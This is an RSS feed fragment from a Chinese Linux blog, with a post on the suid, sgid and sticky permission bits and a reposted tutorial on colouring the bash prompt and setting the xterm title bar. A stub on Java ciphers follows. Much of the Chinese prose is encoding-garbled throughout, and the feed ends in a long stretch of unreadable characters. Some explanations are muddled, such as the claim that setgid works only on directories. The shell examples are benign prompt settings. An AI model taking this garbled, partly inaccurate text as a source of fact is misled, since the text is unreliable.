]]>Linux下的高权限文g控制http://m.tkk7.com/qileilove/archive/2011/11/24/364742.html其自然EVO其自然EVOThu, 24 Nov 2011 08:47:00 GMThttp://m.tkk7.com/qileilove/archive/2011/11/24/364742.htmlhttp://m.tkk7.com/qileilove/comments/364742.htmlhttp://m.tkk7.com/qileilove/archive/2011/11/24/364742.html#Feedback0http://m.tkk7.com/qileilove/comments/commentRss/364742.htmlhttp://m.tkk7.com/qileilove/services/trackbacks/364742.html

  在企业内|的开发环境方面,文g服务器是一个非帔R要的环节。其中,Samba服务器由于其权限控制的高度灵zL,最?a href="" target="_self" style="word-break: break-all; text-decoration: none; line-height: normal !important; ">学习(fn)时确实会(x)让大家感到很qhQ但我们可以先搭Z些简单的案例来掌握其语法。本节主要是介绍Linux下的高权限suid、sgid、sticky三种权限的特炏V?/p>

  很多人都很奇怪,Z么我们需要学?fn)这三种权限呢?因?f)在实?a href="" target="_self" style="word-break: break-all; text-decoration: none; line-height: normal !important; ">工作中我们发玎ͼ如果不了(jin)解这些特D权限会(x)让我们对Linux权限的理解(其是加上Samba权限后)(j)ؓ(f)困难Q所以我们必要学习(fn)q了(jin)解它们。下面试囄显的讲解,让大家能充分理解q三U权限的作用。理解了(jin)它们Q再理解Samba的权限控制就更容易了(jin)?/p>

  注意 Samba的权限由两方面构成:(x)

  一是目录本w的权限Q二是Samba的配|权限。最l权限的定义是两者的最交集?/p>

  我们接着来理解这3U权限:(x)

  1Q一个文仉有一个所有者,表示该文件是谁创建的?/p>

  2Q如果同时该文gq有一个组~号Q则表示该文件所属的l一般ؓ(f)文g所有者所属的l?/p>

  3Q如果是一个可执行文gQ那么在执行Ӟ一般该文g只拥有调用该文g的用hh的权限?/p>

  权限标志通过以下3?#8220;?#8221;来定义?/p>

  setuidQ设|文g在执行阶D具有文件所有者的权限。比?usr/bin/passwdQ如果是一般用h行该文gQ则在执行过E中Q用户通过该文件可以获得root权限Q从而可以更改用L(fng)密码?/p>

  setgidQ该权限只对目录有效。目录被讄该权限后QQ何用户在此目录下创徏的文仉h和该目录所属的l相同的l?/p>

  stickyQ该位可以理解ؓ(f)防删除位。一个文件是否可以被某用户删除,主要取决于该文g所属的l是否对该用户具有写权限。如果没有写权限Q则q个目录下的所有文仉不能被删除,同时也不能添加新的文件。如果希望用戯够添加文件但同时又不删除文gQ则可以Ҏ(gu)件用sticky bit位。设|该位后Q就用户对目录h写权限也不能删除该文件?/p>

  下面介绍一下三U权限的特点?/p>

  Q?Qsticky的特?/strong>

  sticky只能应用在目录上Qƈ且是应用?a href="" target="_self" style="word-break: break-all; text-decoration: none; line-height: normal !important; ">其他人的目录上?/p>

  只有root和文件的拥有者才能删除该文g?/p>

  写s表示能执行,大写S表示不能执行?/p>

  它的其他特点大家可以参?tmp目录?/p>

  Q?Qsetuid的特?/strong>

  setuid只能应用在二q制文g中?/p>

  当一个文件应用了(jin)setuidQ那么Q何h在执行该命o(h)的时候就能(f)时拥有该文g拥有人的权限?/p>

  setuid只能应用在文件的拥有者上?/p>

  写s表示能执行,大写表示S不能执行?/p>

  它的其他特点大家可以参?usr/bin/passwd目录?/p>



其自然EVO 2011-11-24 16:47 发表评论
]]>Linux如何改进pȝ命o(h)行工?/title><link>http://m.tkk7.com/qileilove/archive/2011/11/08/363181.html</link><dc:creator>其自然EVO</dc:creator><author>其自然EVO</author><pubDate>Tue, 08 Nov 2011 07:39:00 GMT</pubDate><guid>http://m.tkk7.com/qileilove/archive/2011/11/08/363181.html</guid><description><![CDATA[<div><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; "> 如果(zhn)很Ҏ(gu)?nbsp;<a target="_self" style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; "><u style="word-break: break-all; "><strong style="word-break: break-all; ">shell</strong></u></a> 提示行变得色彩绚烂且带有更多信息Qؓ(f)什么还要坚持用?ch)h的标准提C呢?在这技巧中QDaniel Robbins 说明如何获得符合?zhn)的意愿?shell 提示行,q会(x)说明如何动态更?xterm 的标题栏?/p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  作ؓ(f) Linux/UNIX 人,我们有很长的旉是在 shell ?a target="_self" style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; "><u style="word-break: break-all; "><strong style="word-break: break-all; ">工作</strong></u></a>Qƈ且在许多情况下,下面q一行就是始l盯着我们的那个提CQ?/p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  bash-2.04$</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  如果(zhn)恰巧是用户 (root)Q?zhn)有权用下面这个美丽的标?#8220;w䆾”的提C版本Q?/p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  bash-2.04#</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  q些提示行ƈ不是十分漂亮。这也就难怪几U?nbsp;<a target="_self" style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; "><u style="word-break: break-all; "><strong style="word-break: break-all; ">Linux</strong></u></a> 版本寚w认提Cq行?jin)升U,在其中增加了(jin)颜色和更多的信息。但是,即便(zhn)恰好有一个本w带有很好的彩色提示行的新式版本Q它也不可能是完无~的。?zhn)或许希望在提C中增加或更改几种颜色Q或者增?或删?一些信息。从头开始设计属于?zhn)自己的彩色的、经q装饰的提示行ƈ不难?/p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  提示行基</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  ?bash 下,可以通过更改 PS1 环境变量的值来讄提示行,如下所C:(x)</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  $ export PS1="> " ></p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  更改?x)立即生效,通过?"export" 定义攑֜(zhn)的 ~/.bashrc 文g中可这U更改固定下来。只要?zhn)愿意QPS1 可以包含L数量的纯文本Q?/p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  $ export PS1="This is my super prompt > " This is my super prompt ></p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  管q很有趣Q但在提C中包含大量静(rn)态文本ƈ不是特别有用。大多数定制的提C包含诸如用户名、工作目录或L名之cȝ信息。这些花i信息可以帮助?zhn)?shell 世界中遨游。例如,下面的提C显C?zhn)的用户名和主机名Q?/p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  $ export PS1="\u@\H > "<a href="mailto:drobbins@freebox" style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; ">drobbins@freebox</a>></p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  q个提示行对于那些以多个不同名称的帐L(fng)录多台机器的人尤为有用,因ؓ(f)它可以提醒?zhn)Q?zhn)目前在哪台机器上操作Q拥有什么权限?/p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  在上面的CZ中,我们使用?jin)专用的用反斜杠转义的字W序列,藉此通知 bash 用户名和主机名插入提示行中Q当q些转义字符序列出现?PS1 变量中时Qbash ׃(x)用特定的值替换它们。我们用了(jin)序列 "\u"Q表C用户名Q和 "\H"Q表CZ机名的第一部分Q。下面是 bash 可识别的全部专用序列的完整列表((zhn)可以在 bash man page ?"PROMPTING" 部分扑ֈq个列表Q:(x)</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  序列说明</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  \aASCII 响铃字符(也可以键?\007)</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  \d"Wed Sep 06" 格式的日?/p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  \eASCII 转义字符(也可以键?\033)</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  \hL名的W一部分(?"mybox")</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  \HL的全U??"mybox.mydomain.com")</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  \j在此 shell 中通过?^Z 挂v的进E数</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  \l?shell 的终端设备名(?"ttyp4")</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  \n换行W?/p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  \r回RW?/p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  \sshell 的名U??"bash")</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  \t24 时制时??"23:01:01")</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: left; background-color: #ffffff; ">  \T12 时制时??"11:01:01")<br /><div><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "> \@带有 am/pm ?12 时制时?/p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">  \u用户?/p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">  \vbash 的版??2.04)</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">  \VBash 版本(包括补丁U别) ?/td></p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">  \w当前工作目录(?"/home/drobbins")</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">  \W当前工作目录?#8220;基名 (basename)”(?"drobbins")</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">  \!当前命o(h)在历史缓冲区中的位置</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">  \#命o(h)~号(只要(zhn)键入内容,它就?x)在每次提示时篏?</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">  \$如果(zhn)不是超U用?(root)Q则插入一?"$";如果(zhn)是用户Q则昄一?"#"</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">  \xxx插入一个用三位?xxx(用零代替未用的数字Q如 "\007")表示?ASCII 字符</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">  \\反斜?/p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">  \[q个序列应该出现在不Ud光标的字W序?如颜色{义序?之前。它?bash 能够正确计算自动换行?/p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">  \]q个序列应该出现在非打印字符序列之后?/p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">  q样Q?zhn)已经知道?bash 中用反斜杠{义的全部专用序列。请E微演练一下这些序列,以对它们的工作方式获得一些感性认识。在(zhn)做?jin)一些测试之后,下面开始添加颜艌Ӏ?/p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">  彩色?/p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">  d颜色相当Ҏ(gu);W一步是设计不带颜色的提C。然后,我们所要做的只是添加终?而不?bash)可识别的专用转义序列Q以使它以彩色显C文本的某些部分。标?Linux l端?X l端允许(zhn)设|前?文字)颜色和背景颜Ԍ如果需要,q可以启?"bold" 字符。有八种颜色可供我们选择?/p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">  颜色是通过?PS1 中添加专用序列来选择?-- 基本上是夹在 "\e["(转义开Ҏ(gu)??"m" 之间数字倹{如果指定一个以上的数字代码Q则用分号将它们分开。下面是一个颜色代码示例:(x)</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">  "\e[0m"</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">  如果数字代码指定ؓ(f)Ӟ则它?yu)׃?x)通知l端前景、背景和加粗讄重置为它们的默认倹{?zhn)可能会(x)在在提Cl束时用这个代码,以(zhn)键入的文字成ؓ(f)非彩色的。现在,让我们看一下这些颜色代码。请注意下面的抓屏结果:(x)</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; ">  颜色?/p><p align="center" style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; "><a target="_blank" style="word-break: break-all; color: #333333; text-decoration: none; "><span id="zdaixnd" class="Apple-style-span" style="line-height: normal !important; border-width: initial; border-color: initial; "><img border="0" src="http://www.51testing.com/attachments/2011/11/346836_201111030941581AjWY.gif" style="word-break: break-all; list-style-type: none; list-style-position: outside; list-style-image: none; margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; border-top-style: none; border-right-style: none; border-bottom-style: none; border-left-style: none; border-width: initial; border-color: initial; max-width: 500px; " alt="" /></span><br /></a><div><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-align: left; ">要用这个表Q首先请查找(zhn)要使用的颜Ԍ然后查找对应的前景编?(30-37) 和背景编?(40-47)。例如,如果(zhn)喜Ƣ黑底绿字,则可编号分别设?32 ?40。然后打开(zhn)的提示行定义ƈ在其中添加适当的颜色代码。下面的定义Q?/p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-align: left; ">  export PS1="\w> "</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-align: left; ">  变ؓ(f)Q?/p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-align: left; ">  export PS1="\e[32;40m\w> "</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-align: left; ">  到现在ؓ(f)止,提示行尽已l很不错?jin),但仍不太完美。在 bash 昄出工作目录以后,我们需要?"\e[0m" 序列颜色重新设|ؓ(f)正常倹{?/p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-align: left; ">  export PS1="\e[32;40m\w> \e[0m"</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-align: left; ">  q个定义显CZ个漂亮的l色提示行,但我们仍需要做一些扫ַ作。我们不需要包?"40" q个背景颜色讄Q因为它?yu)背景设|ؓ(f)黑色Q而黑色是默认颜色。此外,l色q很?我们通过d一?"1" 颜色代码来修正这个问题,q将启用更亮的加_文字。除?jin)这个修改之外,我们q需要将全部非打印字W用专用?bash 转义序列 "\[" ?"\]" 括v来。这两个序列通知 bashQ被括v来的字符不占用行上的MI间Q这样就使自动换行能够l正常工作。没有这两个转义序列Q尽?zhn)有?jin)一个非常漂亮的提示行,但是如果(zhn)键入的命o(h)恰好到达l端的最右端Q就?x)造成昄混ؕ。下面是我们最l的提示行:(x)</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-align: left; ">  export PS1="\[\e[32;1m\]\w> \[\e[0m\]"</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-align: left; ">  别担?j)在同一个提C中用几U颜Ԍ像下面q样Q?/p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-align: left; ">  export PS1="\[\e[36;1m\]\u@\[\e[32;1m\]\H> \[\e[0m\]"</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-align: left; ">  Xterm 中的乐趣</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-align: left; ">  我已说明?jin)如何在提示行中d信息和颜Ԍ但?zhn)q可以更q一步。?zhn)可以通过在提C中添加专用代码来?X l端(?rxvt ?aterm)的标题栏得到动态更新。?zhn)所要做的只是将下面的序列添加到(zhn)的 PS1 提示行中Q?/p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-align: left; ">  "\e]2;titlebar\a"</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-align: left; ">  只须用?zhn)希望其出现?xterm 标题栏中的文字替换子?"titlebar" 卛_Q现在已l一切就l了(jin)!不必使用?rn)态文?(zhn)可以将 bash 转义序列插入标题栏中。请查看下面q个CZQ它?yu)用户名、主机名和当前工作目录显C在标题栏中Qƈ定义?jin)一个简短、明亮的l色提示行:(x)</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-align: left; ">  export PS1="\[\e]2;\u@\H \w\a\e[32;1m\]>\[\e[0m\] "</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-align: left; ">  q就是我在上面的抓屏l果中所用的那个提示行。我喜欢q个提示行,因ؓ(f)它将全部信息昄在标题栏上,而不是显C在l端上,l端对一行可以显C多字W有限制。顺便提一句,保?"\[" ?"\]" ?zhn)的标题栏序列括v?因ؓ(f)q端而言Q这个序列是非打印序?。将大量信息攑֜标题栏中的问题是Q如果?zhn)使用非图形终?如系l控制台)Q则看不到这些信息。ؓ(f)?jin)解册个问题,可以在(zhn)?.bashrc 中添加以下几行:(x)</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-align: left; ">  if [ "$TERM" = "linux" ] then #we're on the system console or maybe telnetting in export PS1="\[\e[32;1m\]\u@\H > \[\e[0m\]" else #we're not on the console, assume an xterm export PS1="\[\e]2;\u@\H \w\a\e[32;1m\]>\[\e[0m\] " fi</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-align: left; ">  q个 bash 条g语句根据当前的l端讄动态设|提C。ؓ(f)?jin)获得一致性,(zhn)一定希望配|?zhn)?~/.bash_profileQ以便它在启动时搜烦(ch) (source) (zhn)的 ~/.bashrc。确保?zhn)?~/.bash_profile 文g中有以下q样一行:(x)</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-align: left; ">  source ~/.bashrc</p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-align: left; ">  q样Q无论?zhn)开启一个登?shell q是一个非d shellQ都?x)获得同L(fng)提示行?/p><p style="word-break: break-all; margin-top: 10px; margin-right: 0px; margin-bottom: 10px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; text-align: left; ">  好了(jin)Q?zhn)已掌握?jin)提示行魔术。现在尽情n受一下,制作一个漂亮的彩色提示行吧Q?/p></div><a target="_blank"></a></p></div></p></div><img src ="http://m.tkk7.com/qileilove/aggbug/363181.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://m.tkk7.com/qileilove/" target="_blank">其自然EVO</a> 2011-11-08 15:39 <a href="http://m.tkk7.com/qileilove/archive/2011/11/08/363181.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Java之Caesar与Vigenere实现http://m.tkk7.com/qileilove/archive/2011/11/07/363037.html其自然EVO其自然EVOMon, 07 Nov 2011 02:32:00 GMThttp://m.tkk7.com/qileilove/archive/2011/11/07/363037.html阅读全文

其自然EVO 2011-11-07 10:32 发表评论
]]>
վ֩ģ壺 ŮƵվ| 13ֽˮ| һ3Ƶ| ʵƵѹۿ| Ʒ߹ۿ| ձ| aƬ߹ۿ| 91ѾƷԲ߲| ձ޾ƷɫӰԺ | | ޹ۺϾƷһ߲| վѹۿ| þþþ?V| aƷžžŴƬѿ| þþþ޾ƷС˵ | ޹Ʒþþò | AëƬ߲| һ| ĻӰƬ߹ۿ| ŷ޾Ʒ˾þԻ| AVվ| һëƬѲ| AVһDV| 18վƬѹۿ| ޳a˲߹ۿ| ³˿Ƭһ߹ۿ| һһһˬһһƵѵ| ޾ƷƷ벻99| þwww˳_Ƭ| ޾ƷƬ| ˾Ʒþ޸岻 ˾Ʒþ | С˵ɫͼ| AVרAëƬ| hƵ߹ۿվ| ۺɫ߾Ʒ| ޹Ʒһ| Ʒһ| һëƬ߲| ׾ƷͼƬ| þþƷƷ| ձ߸Ѱվ|